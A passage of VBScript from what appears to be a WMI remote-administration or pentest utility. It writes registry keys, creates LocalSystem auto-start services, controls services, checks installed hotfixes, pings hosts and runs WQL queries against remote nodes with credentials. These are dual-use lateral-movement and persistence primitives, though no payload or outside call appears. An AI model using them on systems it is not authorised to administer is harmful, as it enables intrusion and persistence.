WriteLine "[!] Error: unknown reg hive " & strHive
Exit Function
End If
Set objReg = objWMIService.Get("StdRegProv")
If Err Then
Warning "to get StdRegProv ", Err.Number, Err.Description
Exit Function
End If
If Not RegProvCreateKey(objReg, longHive, strKeyPath, strCreateKeyResult) Then
WriteLine "[!] Failed to create key [" & strHive & "\" & strKeyPath & "], " & strCreateKeyResult
Exit Function
End If
If Len(strValueName) = 0 Then
NewReg = True
WriteLine "[-] Success."
Exit Function
End If
If not ConvertRegValueType(strValueType, intValueType) Then
WriteLine "[!] Error: unknown reg value type " & strValueType
Exit Function
End If
If RegProvSetValues(objReg, longHive, strKeyPath, strValueName, strValueType, strValue, strResult) Then
NewReg = True
WriteLine "[-] Success."
Else
WriteLine "[!] Error: " & strResult
End If
End Function
Function RegProvCreateKey(objReg, longHive, strKeyPath, strResult)
On Error Resume Next
Err.Clear
RegProvCreateKey = False
intErr = objReg.CreateKey(longHive, strKeyPath)
If intErr = 0 Then
RegProvCreateKey = True
Else
strResult = RegSrdProvErrorCode(intErr)
RegProvCreateKey = False
End If
End Function
Function RegProvSetValues(objReg, longHive, strKeyPath, strValueName, strValueType, strValue, strResult)
On Error Resume Next
Err.Clear
RegProvSetValues = False
Select Case strValueType
Case "REG_SZ"
If strValueName = "@" Then
'change (default) value
intErr = objReg.SetStringValue(longHive, strKeyPath, "", strValue)
Else
intErr = objReg.SetStringValue(longHive, strKeyPath, strValueName, strValue)
End If
Case "REG_EXPAND_SZ"
intErr = objReg.SetExpandedStringValue(longHive, strKeyPath, strValueName, strValue)
Case "REG_BINARY" 'need to convert string to an array of bytes
arrBytes = Split(strValue)
intErr = objReg.SetBinaryValue(longHive, strKeyPath, strValueName, arrBytes)
Case "REG_DWORD"
uValue = CLng(strValue)
intErr = objReg.SetDWORDValue(longHive, strKeyPath, strValueName, uValue)
Case "REG_MULTI_SZ" 'need to convert string to a string array
arrValues = Split(strValue)
intErr = objReg.SetMultiStringValue(longHive, strKeyPath, strValueName, arrValues)
Case "REG_QWORD"
intErr = objReg.SetQWORDValue(longHive, strKeyPath, strValueName, strValue)
Case Else
WriteLine "[!] Error: unsupported reg valye type."
Exit Function
End Select
If intErr = 0 Then
RegProvSetValues = True
Else
strResult = RegSrdProvErrorCode(intErr)
RegProvSetValues = False
End If
End Function
Function SplitRegPath(strRegPath, strHive, strKeyPath)
On Error Resume Next
Err.Clear
SplitRegPath = True
arrRegPath = Split(strRegPath, "\", 2)
Select Case UBound(arrRegPath)
Case 0
strHive = arrRegPath(0)
strKeyPath = ""
Case 1
strHive = arrRegPath(0)
strKeyPath = arrRegPath(1)
Case Else
WriteLine "[!] Error: something wrong while splitting the reg path."
SplitRegPath = False
End Select
End Function
Function ConvertRegHive(inRegTitle, outResult)
On Error Resume Next
Err.Clear
ConvertRegHive = True
Select Case VarType(inRegTitle)
Case 3 'vbLong
Select Case inRegTitle
Case &H80000000 outResult = "HKEY_CLASSES_ROOT"
Case &H80000001 outResult = "HKEY_CURRENT_USER"
Case &H80000002 outResult = "HKEY_LOCAL_MACHINE"
Case &H80000003 outResult = "HKEY_USERS"
Case &H80000005 outResult = "HKEY_CURRENT_CONFIG"
Case &H80000006 outResult = "HKEY_DYN_DATA"
Case Else ConvertRegHive = False
End Select
Case 8 'vbString
Select Case UCase(inRegTitle)
Case "HKCR", "HKEY_CLASSES_ROOT" outResult = &H80000000
Case "HKCU", "HKEY_CURRENT_USER" outResult = &H80000001
Case "HKLM", "HKEY_LOCAL_MACHINE" outResult = &H80000002
Case "HKU", "HKEY_USERS" outResult = &H80000003
Case "HKCC", "HKEY_CURRENT_CONFIG" outResult = &H80000005
Case "HKDD", "HKEY_DYN_DATA" outResult = &H80000006
Case Else ConvertRegHive = False
End Select
Case Else
ConvertRegHive = False
End Select
End Function
Function ConvertRegValueType(inRegValType, outResult)
On Error Resume Next
Err.Clear
ConvertRegValueType = True
Select Case VarType(inRegValType)
Case 2, 3 'vbInteger, vbLong
Select Case inRegValType
Case 1 outResult = "REG_SZ"
Case 2 outResult = "REG_EXPAND_SZ"
Case 3 outResult = "REG_BINARY"
Case 4 outResult = "REG_DWORD"
Case 5 outResult = "REG_DWORD_BIG_ENDIAN"
Case 6 outResult = "REG_LINK"
Case 7 outResult = "REG_MULTI_SZ"
Case 8 outResult = "REG_RESOURCE_LIST"
Case 9 outResult = "REG_FULL_RESOURCE_DESCRIPTOR"
Case 10 outResult = "REG_RESOURCE_REQUIREMENTS_LIST"
Case 11 outResult = "REG_QWORD"
Case Else ConvertRegValueType = False
End Select
Case 8 'vbString
Select Case UCase(inRegValType)
Case "REG_SZ" outResult = 1
Case "REG_EXPAND_SZ" outResult = 2
Case "REG_BINARY" outResult = 3
Case "REG_DWORD" outResult = 4
Case "REG_DWORD_BIG_ENDIAN" outResult = 5
Case "REG_LINK" outResult = 6
Case "REG_MULTI_SZ" outResult = 7
Case "REG_RESOURCE_LIST" outResult = 8
Case "REG_FULL_RESOURCE_DESCRIPTOR" outResult = 9
Case "REG_RESOURCE_REQUIREMENTS_LIST" outResult = 10
Case "REG_QWORD" outResult = 11
Case Else ConvertRegValueType = False
End Select
Case Else
ConvertRegValueType = False
End Select
End Function
Function RegSrdProvErrorCode(intCode)
Select Case intCode
Case 0 RegSrdProvErrorCode = "successfully."
Case 1 RegSrdProvErrorCode = "call failed."
Case 2 RegSrdProvErrorCode = "object cannot be found."
Case 3 RegSrdProvErrorCode = "current user does not have permission to perform the action."
Case 4 RegSrdProvErrorCode = "provider has failed at some time other than during initialization."
Case 5 RegSrdProvErrorCode = "type mismatch occurred."
Case 6 RegSrdProvErrorCode = "not enough memory for the operation."
Case 7 RegSrdProvErrorCode = "the IWbemContext object is not valid."
Case 8 RegSrdProvErrorCode = "one of the parameters to the call is not correct."
Case 9 RegSrdProvErrorCode = "resource, typically a remote server, is not currently available."
Case Else RegSrdProvErrorCode = "failed with error code 0x" & Hex(intCode)
End Select
End Function
Function GetAvailableService(objWMIService)
On Error Resume Next
Err.Clear
GetAvailableService = False
Dim TargetNameDictionary : Set TargetNameDictionary = CreateObject("Scripting.Dictionary")
TargetNameDictionary.CompareMode = vbTextCompare
strQuery = "Select Name From Win32_Service"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_Service ", Err.Number, Err.Description
Exit Function
End If
For Each objItem in colItems
TargetNameDictionary.Add objItem.Name, ""
Next
AllNameArray = Array("AeLookupSvc", "AJRouter", "AllUserInstallAgent", "AppIDSvc", "Appinfo", _
"AppMgmt", "AppReadiness", "AppXSvc", "AssignedAccessManagerSvc", "AudioEndpointBuilder", _
"Audiosrv", "AxInstSV", "BDESVC", "BFE", "BITS", "BrokerInfrastructure", "Browser", _
"BthHFSrv", "bthserv", "camsvc", "CDPSvc", "CertPropSvc", "ClipSVC", "CoreMessagingRegistrar", _
"CryptSvc", "CscService", "DcomLaunch", "DcpSvc", "defragsvc", "DeviceAssociationService", _
"DeviceInstall", "DevQueryBroker", "Dhcp", "diagsvc", "DiagTrack", "DmEnrollmentSvc", _
"dmwappushservice", "Dnscache", "DoSvc", "dot3svc", "DPS", "DsmSvc", "DsSvc", "DusmSvc", _
"EapHost", "embeddedmode", "EMDMgmt", "EntAppSvc", "EventLog", "EventSystem", "fdPHost", _
"FDResPub", "fhsvc", "FontCache", "FrameServer", "gpsvc", "GraphicsPerfSvc", "hidserv", _
"hkmsvc", "HomeGroupListener", "HomeGroupProvider", "HvHost", "icssvc", "IKEEXT", _
"InstallService", "IPBusEnum", "iphlpsvc", "IpxlatCfgSvc", "irmon", "KtmRm", "LanmanServer", _
"LanmanWorkstation", "lfsvc", "LicenseManager", "lltdsvc", "lmhosts", "LSM", "MapsBroker", _
"Mcx2Svc", "MpsSvc", "MSiSCSI", "MsKeyboardFilter", "napagent", "NaturalAuthentication", _
"NcaSvc", "NcbService", "NcdAutoSetup", "Netman", "netprofm", "NetSetupSvc", "NgcCtnrSvc", _
"NgcSvc", "NlaSvc", "nsi", "p2pimsvc", "p2psvc", "PcaSvc", "PeerDistSvc", "PhoneSvc", "pla", _
"PlugPlay", "PNRPAutoReg", "PNRPsvc", "PolicyAgent", "Power", "PrintNotify", "ProfSvc", _
"PushToInstall", "QWAVE", "RasAuto", "RasMan", "RemoteAccess", "RemoteRegistry", "RetailDemo", _
"RmSvc", "RpcEptMapper", "RpcSs", "SCardSvr", "ScDeviceEnum", "Schedule", "SCPolicySvc", _
"SDRSVC", "seclogon", "SEMgrSvc", "SENS", "SensorService", "SensrSvc", "SessionEnv", "SharedAccess", _
"SharedRealitySvc", "ShellHWDetection", "shpamsvc", "SLUINotify", "smphost", "SmsRouter", _
"sppuinotify", "SSDPSRV", "SstpSvc", "StateRepository", "StiSvc", "StorSvc", "svsvc", "swprv", _
"SysMain", "SystemEventsBroker", "TabletInputService", "TapiSrv", "TBS", "TermService", "Themes", _
"THREADORDER", "tiledatamodelsvc", "TimeBroker", "TimeBrokerSvc", "TokenBroker", "TrkWks", _
"tzautoupdate", "UmRdpService", "upnphost", "UserManager", "UsoSvc", "UxSms", "vmicguestinterface", _
"vmicheartbeat", "vmickvpexchange", "vmicrdv", "vmicshutdown", "vmictimesync", "vmicvmsession", _
"vmicvss", "W32Time", "WalletService", "WarpJITSvc", "WbioSrvc", "Wcmsvc", "wcncsvc", "WcsPlugInService", _
"WdiServiceHost", "WdiSystemHost", "WebClient", "Wecsvc", "WEPHOSTSVC", "wercplsupport", "WerSvc", _
"WFDSConMgrSvc", "WiaRpc", "WinDefend", "WinHttpAutoProxySvc", "winmgmt", "WinRM", "wisvc", "WlanSvc", _
"wlidsvc", "wlpasvc", "workfolderssvc", "WPCSvc", "WPDBusEnum", "WpnService", "wscsvc", "WSService", _
"wuauserv", "wudfsvc", "WwanSvc", "xbgm", "XblAuthManager", "XblGameSave", "XboxGipSvc", "XboxNetApiSvc")
For Each strName In AllNameArray
If Not TargetNameDictionary.Exists(strName) Then
ArrayAppend arrResult, strName
intLength = WhichIsLager(intLength, Len(strName))
End If
Next
For i = 0 To UBound(arrResult)
If i Mod 3 = 0 Then
WriteLine strResult
strResult = FormatOutput(arrResult(i), intLength + 1, " ")
Else
strResult = strResult & FormatOutput(arrResult(i), intLength + 1, " ")
End If
Next
WriteLine strResult
End Function
Function GetQFEInfo(objWMIService, strHotFixID)
On Error Resume Next
Err.Clear
strID = Replace(strHotFixID, ",", "' OR HotFixID='")
strQuery = "SELECT HotFixID,InstalledOn " & _
"FROM Win32_QuickFixEngineering " & _
"WHERE HotFixID='" & strID & "'"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_QuickFixEngineering ", Err.Number, Err.Description
Exit Function
End If
If colItems.Count > 0 Then
For Each objItem in colItems
WriteLine "[+] " & objItem.HotFixID & " was installed on " & objItem.InstalledOn
Next
Else
WriteLine "[-] Noting found."
End If
End Function
Function CreateService(objWMIService, strServiceName, strDisplayName, strInstallPath)
On Error Resume Next
Err.Clear
CreateService = False
Const OWN_PROCESS = &H10
Const ERR_CONTROL = &H2
Const INTERACTIVE = False
WriteLine "[+] ServiceName: " & strServiceName
WriteLine "[-] DisplayName: " & strDisplayName
WriteLine "[-] InstallPath: " & strInstallPath
Set ObjSvr = objWMIService.Get("Win32_Service")
If Err Then
Warning "to get Win32_Service ", Err.Number, Err.Description
Exit Function
End If
intReturn = ObjSvr.Create(strServiceName, strDisplayName, strInstallPath, _
OWN_PROCESS, ERR_CONTROL, "Automatic", INTERACTIVE, "LocalSystem", "")
If intReturn = 0 Then
CreateService = True
WriteLine "[-] Service create success."
Else
WriteLine "[!] Error: " & ServiceErrorCode(intReturn)
End If
End Function
Function ServiceOperation(strServiceName, objWMIService, strMethod)
On Error Resume Next
Err.Clear
ServiceOperation = False
strQuery = "Select Name " & _
"From Win32_Service " & _
"Where Name Like '" & Replace(strServiceName, "*", "%") & "'"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_Service ", Err.Number, Err.Description
Exit Function
End If
If colItems.Count = 0 Then
WriteLine "[!] Cound not find the service named " & strServiceName
Exit Function
End If
For Each objItem in colItems
WriteLine "[+] Trying to " & Replace(LCase(strMethod), "service", "") & " service " & objItem.Name & "..."
intReturn = Eval("objItem." & strMethod)
If intReturn = 0 Then
ServiceOperation = True
WriteLine "[-] Success."
Else
WriteLine "[!] Error: " & ServiceErrorCode(intReturn)
End If
Next
End Function
Function ServiceErrorCode(strCode)
Select Case strCode
Case 1 ServiceErrorCode = "The request is not supported."
Case 2 ServiceErrorCode = "The user did not have the necessary access."
Case 3 ServiceErrorCode = "The service cannot be stopped because other services that are running are dependent on it."
Case 4 ServiceErrorCode = "The requested control code is not valid, or it is unacceptable to the service."
Case 5 ServiceErrorCode = "The requested control code cannot be sent to the service because the state of the service (State property of the Win32_BaseService class) is equal to 0, 1, or 2."
Case 6 ServiceErrorCode = "The service has not been started."
Case 7 ServiceErrorCode = "The service did not respond to the start request in a timely fashion."
Case 8 ServiceErrorCode = "Unknown failure when starting the service."
Case 9 ServiceErrorCode = "The directory path to the service executable file was not found."
Case 10 ServiceErrorCode = "The service is already running."
Case 11 ServiceErrorCode = "The database to add a new service is locked."
Case 12 ServiceErrorCode = "A dependency this service relies on has been removed from the system."
Case 13 ServiceErrorCode = "The service failed to find the service needed from a dependent service."
Case 14 ServiceErrorCode = "The service has been disabled from the system."
Case 15 ServiceErrorCode = "The service does not have the correct authentication to run on the system."
Case 16 ServiceErrorCode = "This service is being removed from the system."
Case 17 ServiceErrorCode = "The service has no execution thread."
Case 18 ServiceErrorCode = "The service has circular dependencies when it starts."
Case 19 ServiceErrorCode = "A service is running under the same name."
Case 20 ServiceErrorCode = "The service name has invalid characters."
Case 21 ServiceErrorCode = "Invalid parameters have been passed to the service."
Case 22 ServiceErrorCode = "The account under which this service runs is either invalid or lacks the permissions to run the service."
Case 23 ServiceErrorCode = "The service exists in the database of services available from the system."
Case 24 ServiceErrorCode = "The service is currently paused in the system."
Case Else ServiceErrorCode = "Error code is " & strCode
End Select
End Function
Function PingStatus(objWMIService, strHost, boolResolveAddress)
On Error Resume Next
Err.Clear
strQuery = "Select PrimaryAddressResolutionStatus,StatusCode,ProtocolAddressResolved," & _
"ProtocolAddress,BufferSize,ResponseTime,ResponseTimeToLive" & _
" from Win32_PingStatus Where Address = '" & strHost & "'" & _
" And Timeout=2000 AND ResolveAddressNames=" & boolResolveAddress
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to get Win32_PingStatus ", Err.Number, Err.Description
Exit Function
End If
For Each objItem In colItems
WriteLine "[+] Pinging " & strHost & "..."
If objItem.PrimaryAddressResolutionStatus <> 0 Then
WriteLine "[!] Error " & objItem.PrimaryAddressResolutionStatus & ": Ping request could not find host " & strHost
ElseIf objItem.StatusCode <> 0 Then
WriteLine "[!] Error: " & StatusCodeOfPing(objItem.StatusCode)
Else
If Len(objItem.ProtocolAddressResolved) > 0 Then
strResult = "Reply from " & objItem.ProtocolAddressResolved & " [" & objItem.ProtocolAddress & "]:"
Else
strResult = "Reply from " & objItem.ProtocolAddress & ":"
End If
strResult = strResult & " bytes=" & objItem.BufferSize
If objItem.ResponseTime = 0 Then
strResult = strResult & " time<1ms"
Else
strResult = strResult & " time=" & objItem.ResponseTime & "ms"
End If
strResult = strResult & " TTL=" & objItem.ResponseTimeToLive
WriteLine strResult
End If
Next
End Function
Function StatusCodeOfPing(intCode)
Select Case intCode
Case 11001 StatusCodeOfPing = "Buffer Too Small"
Case 11002 StatusCodeOfPing = "Destination Net Unreachable"
Case 11003 StatusCodeOfPing = "Destination Host Unreachable"
Case 11004 StatusCodeOfPing = "Destination Protocol Unreachable"
Case 11005 StatusCodeOfPing = "Destination Port Unreachable"
Case 11006 StatusCodeOfPing = "No Resources"
Case 11007 StatusCodeOfPing = "Bad Option"
Case 11008 StatusCodeOfPing = "Hardware Error"
Case 11009 StatusCodeOfPing = "Packet Too Big"
Case 11010 StatusCodeOfPing = "Request Timed Out"
Case 11011 StatusCodeOfPing = "Bad Request"
Case 11012 StatusCodeOfPing = "Bad Route"
Case 11013 StatusCodeOfPing = "TimeToLive Expired Transit"
Case 11014 StatusCodeOfPing = "TimeToLive Expired Reassembly"
Case 11015 StatusCodeOfPing = "Parameter Problem"
Case 11016 StatusCodeOfPing = "Source Quench"
Case 11017 StatusCodeOfPing = "Option Too Big"
Case 11018 StatusCodeOfPing = "Bad Destination"
Case 11032 StatusCodeOfPing = "Negotiating IPSEC"
Case 11050 StatusCodeOfPing = "General Failure"
End Select
End Function
'GW [/namespace:[\\host\root\]cimv2] [Get:|Exec:]WMIObject [where <Filter>] [get [Query]] [/output:<list|table|csv>]
Function GetWMIObject(ExistWMIService, strWMIParameter, outResult)
On Error Resume Next
Err.Clear
GetWMIObject = False
Set dicResult = GetWMIParameters(strWMIParameter)
strWMINameSpace = dicResult.Item("strWMINameSpace")
strWMIOperation = dicResult.Item("strWMIOperation")
strWMIClassName = dicResult.Item("strWMIClassName")
strWMIFilter = dicResult.Item("strWMIFilter")
strWMIQuery = dicResult.Item("strWMIQuery")
strWMIMethods = dicResult.Item("strWMIMethods")
strOutputFormat = dicResult.Item("strOutputFormat")
intOutputCount = dicResult.Item("intOutputCount")
strNode = dicResult.Item("strNode")
strUserName = dicResult.Item("strUserName")
strPassword = dicResult.Item("strPassword")
If IsNull(strWMIClassName) Then
WriteLine "[!] Error: Missing WMI Class."
Exit Function
End If
If strNode <> "" Then
If Not GetWMIService(strNode, strWMINameSpace, strUserName, strPassword, objWMIService) Then
Exit Function
End If
Else
If IsNull(ExistWMIService) Then
WriteLine "[!] Error: Missing WMI Service."
Else
Set objWMIService = ExistWMIService
End If
End If
If Not WMIPropertiesValid(objWMIService, strWMIClassName, strWMIQuery, arrProperties) Then
Exit Function
End If
If Not WMIMethodsValid(objWMIService, strWMIClassName, strWMIMethods, arrWMIMethods) Then
Exit Function
End If
If Not WMIQueryValid(objWMIService, strWMIOperation, strWMIClassName, strWMIQuery, strWMIFilter, colItems) Then
Exit Function
End If
If LCase(strOutputFormat) = "auto" Then
If UBound(arrProperties) >= 5 Then
strOutputFormat = "list"
Else
strOutputFormat = "table"
End If
End If
Select Case strOutputFormat
Case "list"
outResult = WMIOutputList(colItems, arrProperties, arrWMIMethods, intOutputCount)
Case "table"
outResult = WMIOutputTable(colItems, arrProperties, arrWMIMethods, intOutputCount, True)
Case "csv"
outResult = WMIOutputTable(colItems, arrProperties, arrWMIMethods, intOutputCount, False)
End Select
'PrintGWResult arrResult, strOutputFormat
GetWMIObject = True
End Function
'GW [/namespace:[\\host\root\]cimv2] [/node:<host> [/user:<> /pass:<>]] [Get:|Exec:]WMIObject [where <Filter>] [get [Query]] [/output:<list|table|csv>] [/count:<>]
Function GetWMIParameters(strWMIParameter)
Dim dicResult : Set dicResult = CreateObject("Scripting.Dictionary")
Dim arrArgus
Dim strWMINameSpace, strWMIOperation, strWMIClassName, strWMIFilter, strWMIQuery, strWMIMethods, strOutputFormat, intOutputCount
Dim strNode, strUser, strPassword
arrArgus = SplitArgument(strWMIParameter)
For i = 1 To arrArgus(0)
strPara = arrArgus(i)
If InStr(LCase(strPara), "/namespace:") = 1 Then
strWMINameSpace = Right(strPara, Len(strPara) - Len("/namespace:"))
ElseIf InStr(LCase(strPara), "/output:") = 1 Then
strOutputFormat = LCase(Right(strPara, Len(strPara) - Len("/output:")))
ElseIf InStr(LCase(strPara), "/node:") = 1 Then
strNode = Right(strPara, Len(strPara) - Len("/node:"))
ElseIf InStr(LCase(strPara), "/user:") = 1 Then
strUser = Right(strPara, Len(strPara) - Len("/user:"))
ElseIf InStr(LCase(strPara), "/pass:") = 1 Then
strPassword = Right(strPara, Len(strPara) - Len("/pass:"))
ElseIf InStr(LCase(strPara), "/count:") = 1 Then
intOutputCount = CInt(Right(strPara, Len(strPara) - Len("/count:")))
ElseIf LCase(strPara) = "get" Then
i = i + 1
strWMIQuery = arrArgus(i)
ElseIf LCase(strPara) = "where" Then
i = i + 1
strWMIFilter = " Where " & arrArgus(i)
ElseIf LCase(strPara) = "like" Then
i = i + 1
strWMIFilter = strWMIFilter & " Like '" & Replace(Replace(arrArgus(i), "'", ""), "*", "%") & "'"
ElseIf LCase(strPara) = "=" Then
i = i + 1
strWMIFilter = strWMIFilter & " = '" & Replace(arrArgus(i), "'", "") & "'"
ElseIf LCase(strPara) = "and" Then
i = i + 1
strWMIFilter = strWMIFilter & " And " & arrArgus(i)
ElseIf LCase(strPara) = "or" Then
i = i + 1
strWMIFilter = strWMIFilter & " OR " & arrArgus(i)
ElseIf LCase(strPara) = "select" Then
i = i + 1
strWMIQuery = arrArgus(i)
ElseIf LCase(strPara) = "get" Then
i = i + 1
strWMIQuery = arrArgus(i)
ElseIf LCase(strPara) = "call" Then
i = i + 1
strWMIMethods = arrArgus(i)
ElseIf LCase(strPara) = "from" Then
i = i + 1
strWMIClassName = arrArgus(i)
strWMIOperation = "ExecQuery"
ElseIf InStr(LCase(strPara), "get:") = 1 Then
strWMIClassName = Right(strPara, Len(strPara) - Len("get:"))
strWMIOperation = "Get"
ElseIf InStr(LCase(strPara), "exec:") = 1 Then
strWMIClassName = Right(strPara, Len(strPara) - Len("exec:"))
strWMIOperation = "ExecQuery"
Else
'strWMIClassName = strPara
'strWMIOperation = "ExecQuery"
WriteLine "[!] Error: Unown WQL argument [" & strPara & "]"
End If
Next
If Len(strWMINameSpace) <> 0 Then
If BeginWith(LCase(strWMINameSpace), "root\") Then
'nothing todo
ElseIf BeginWith(LCase(strWMINameSpace), "\\root\") Then
strWMINameSpace = Right(strWMINameSpace, Len(strWMINameSpace) - 2)
Else
strWMINameSpace = "Root\" & strWMINameSpace
End If
Else
strWMINameSpace = "Root\CIMV2"
End If
If Len(strWMIOperation) = 0 Then strWMIOperation = "ExecQuery"
If Len(strOutputFormat) = 0 Then strOutputFormat = "auto"
If Len(intOutputCount) = 0 Then intOutputCount = 0
If Len(strWMIQuery) = 0 Then strWMIQuery = "*"
If Len(strNode) = 0 Then strNode = ""
Select Case LCase(strWMIClassName)
Case "process", "share", "operatingsystem", "ntdomain", "processor", "videovontroller", _
"service", "trustee", "ace", "securitydescriptor", "quickfixengineering", "pingstatus", _
"networkadapterconfiguration", "product"
strWMIClassName = "Win32_" & strWMIClassName
Case "network"
strWMIClassName = "Win32_NetworkAdapterConfiguration"
Case "os"
strWMIClassName = "Win32_OperatingSystem"
Case "computer"
strWMIClassName = "Win32_ComputerSystem"
Case "logon"
strWMIClassName = "Win32_LogonSession"
Case "startup"
strWMIClassName = "Win32_StartupCommand"
Case "routetable"
strWMIClassName = "Win32_IP4RouteTable"
Case "login"
strWMIClassName = "Win32_NetworkLoginProfile"
Case "cpu"
strWMIClassName = "Win32_Processor"
End Select
dicResult.Add "strWMINameSpace", strWMINameSpace
dicResult.Add "strWMIOperation", strWMIOperation
dicResult.Add "strWMIClassName", strWMIClassName
dicResult.Add "strWMIFilter", strWMIFilter
dicResult.Add "strWMIQuery", strWMIQuery
dicResult.Add "strWMIMethods", strWMIMethods
dicResult.Add "strOutputFormat", strOutputFormat
dicResult.Add "intOutputCount", intOutputCount
dicResult.Add "strNode", strNode
dicResult.Add "strUserName", strUserName
dicResult.Add "strPassword", strPassword
Set GetWMIParameters = dicResult
End Function
Function WMIQueryValid(objWMIService, strWMIOperation, strWMIClassName, strWMIQuery, strWMIFilter, outCollection)
On Error Resume Next
Err.Clear
WMIQueryValid = False
strQuery = "Select " & strWMIQuery & " From " & strWMIClassName & " " & strWMIFilter
Select Case strWMIOperation
Case "ExecQuery"
Set colItems = objWMIService.ExecQuery(strQuery)
If Err Then
Warning "to execute query [" & strQuery & "] ", Err.Number, Err.Description
Exit Function
End If
Case "Get"
Set colItems = objWMIService.Get(strWMIClassName)
If Err Then
Warning "to get [" & strWMIClassName & "] ", Err.Number, Err.Description
Exit Function
End If
Case Else
WriteLine "[!] Error : Unknown method of objWMIService."
Exit Function
End Select
If colItems.Count = "Invalid query" Then
WriteLine "[!] Error: Invalid query."
ElseIf colItems.Count = 0 Then
WriteLine "[-] Nothing found."
Else
WMIQueryValid = True
Set outCollection = colItems
End If
End Function
Function WMIPropertiesValid(objWMIService, strWMIClassName, strWMIQuery, outArray)
On Error Resume Next
Err.Clear
WMIPropertiesValid = False
If Not GetWMIClassProperties(objWMIService, strWMIClassName, arrFullPropertiesList) Then
Exit Function
End If
If strWMIQuery = "*" Then
WMIPropertiesValid = True
arrProperties = arrFullPropertiesList
Else
arrProperties = Split(strWMIQuery, ",")
For Each strProperty In arrProperties
If InArray(arrFullPropertiesList, strProperty, True, "") Then
WMIPropertiesValid = True
Else
WriteLine "[!] Error: Invalid property name [" & strProperty & "] for class " & strWMIClassName
WMIPropertiesValid = False
Exit Function
End If
Next
End If
If WMIPropertiesValid Then outArray = arrProperties
End Function
Function GetWMIClassProperties(objWMIService, strWMIClassName, outArray)
On Error Resume Next
Err.Clear
GetWMIClassProperties = False
Set objClass = objWMIService.Get(strWMIClassName)
If Err Then
Warning "to get " & strWMIClassName & " properties ", Err.Number, Err.Description
Exit Function
End If
For Each objProperty In objClass.Properties_
ArrayAppend outArray, objProperty.Name
Next
GetWMIClassProperties = True
End Function
Function WMIMethodsValid(objWMIService, strWMIClassName, strWMIMethods, outArray)
On Error Resume Next
WMIMethodsValid = False
Err.Clear
If Len(strWMIMethods) = 0 Then
WMIMethodsValid = True
Exit Function
End If
If Not GetWMIClassMethods(objWMIService, strWMIClassName, arrFullMethodsList) Then
Exit Function
End If
arrMethods = Split(strWMIMethods, ",")
For Each strMethod In arrMethods
If InArray(arrFullMethodsList, strMethod, True, "") Then
WMIMethodsValid = True
Else
WriteLine "[!] Error: Invalid method name " & strMethod & " for class " & strWMIClassName
WMIMethodsValid = False
Exit Function
End If
Next
If WMIMethodsValid Then outArray = arrMethods
End Function
Function GetWMIClassMethods(objWMIService, strWMIClassName, outArray)
On Error Resume Next
Err.Clear
GetWMIClassMethods = False
Set objClass = objWMIService.Get(strWMIClassName)
If Err Then
Warning "to get " & strWMIClassName & " methods ", Err.Number, Err.Description
Exit Function
End If
For Each objMethod In objClass.Methods_
ArrayAppend outArray, objMethod.Name
Next
GetWMIClassMethods = True
End Function
Function VarTypeCodeToString(intCode)
Select Case intCode
Case 0 VarTypeCodeToString = "vbEmpty" 'Empty (uninitialized)
Case 1 VarTypeCodeToString = "vbNull" 'Null (no valid data)
Case 2 VarTypeCodeToString = "vbInteger" 'Integer
Case 3 VarTypeCodeToString = "vbLong" 'Long integer
Case 4 VarTypeCodeToString = "vbSingle" 'Single-precision floating-point number
Case 5 VarTypeCodeToString = "vbDouble" 'Double-precision floating-point number
Case 6 VarTypeCodeToString = "vbCurrency" 'Currency value
Case 7 VarTypeCodeToString = "vbDate" 'Date value
Case 8 VarTypeCodeToString = "vbString" 'String
Case 9 VarTypeCodeToString = "vbObject" 'Object
Case 10 VarTypeCodeToString = "vbError" 'Error value
Case 11 VarTypeCodeToString = "vbBoolean" 'Boolean value
Case 12 VarTypeCodeToString = "vbVariant" 'Variant (used only with arrays of variants)
Case 13 VarTypeCodeToString = "vbDataObject" 'A data access object
Case 14 VarTypeCodeToString = "vbDecimal" 'Decimal value
Case 17 VarTypeCodeToString = "vbByte" 'Byte value
Case 36 VarTypeCodeToString = "vbUserDefinedType" 'Variants that contain user-defined types
Case 8192 VarTypeCodeToString = "vbArray" 'Array
Case 8204 VarTypeCodeToString = "vbArray + vbVariant"'Equal vbArray + vbVariant
Case Else VarTypeCodeToString = "Unknown type"
End Select
End Function
Function WMIMethodReturn(objItem, strMethod)
On Error Resume Next
Err.Clear
Select Case LCase(strMethod)
Case "getowner"
intReturn = objItem.GetOwner(strNameOfUser,strUserDomain)
Select Case intReturn
Case 0
strItemUserName = HandleobjItemUserName(strUserDomain, strNameOfUser, conRemoteHostName)
strValue = strItemUserName
Case Else
strValue = ""
End Select
Case Else
intReturn = Eval("objItem." & strMethod)
If intReturn = 0 Then
strValue = "Success"
Else
strValue = "Err" & intReturn
End If
End Select
WMIMethodReturn = strValue
End Function
Function HandleobjItemUserName(strUserDomain, strNameOfUser, strComputerName)
If IsNull(strUserDomain) Then
strUserDomain = ""
Else
Select Case strUserDomain
Case "NT AUTHORITY", "Window Manager", "NT SERVICE", strComputerName
strUserDomain = ""
End Select
End If
If IsNull(strNameOfUser) Then
strNameOfUser = ""
Else
'Select Case strNameOfUser
' Case "NETWORK SERVICE", "LOCAL SERVICE", _
' "DWM-1", "DWM-2", "DWM-3", _
' "UMFD-0", "UMFD-1", "UMFD-2", "UMFD-3"
' strNameOfUser = ""
'End Select
End If
If Len(strUserDomain) = 0 Then
HandleobjItemUserName = strNameOfUser
Else
HandleobjItemUserName = strUserDomain & "\" & strNameOfUser
End If
End Function
Function GetWMIPropertyValue(objItem, strProperty)
On Error Resume Next
Err.Clear
varVal = Eval("objItem." & strProperty)
If Err Then varVal = "Query failed wit code " & Err.Number
'Case 1010 "check the WMI Class name."
'Case 424 "check the property name."
If IsNull(varVal) Then varVal = ""
If IsArray(varVal) Then varVal = Join(varVal, "; ")
GetWMIPropertyValue = varVal
End Function
Function WMIOutputList(colItems, arrProperties, arrWMIMethods, intOutputCount)
On Error Resume Next
Err.Clear
If intOutputCount <= 0 Then
intItemCount = colItems.Count
Else
intItemCount = intOutputCount
End If
intCount = 0
For Each objItem In colItems
ArrayAppend arrResult, Array("", "") 'for separater
If IsArray(arrProperties) Then
For Each strProperty In arrProperties
varValue = GetWMIPropertyValue(objItem, strProperty)
ArrayAppend arrResult, Array(strProperty, varValue)
Next
End If
If IsArray(arrWMIMethods) Then
For Each strMethod In arrWMIMethods
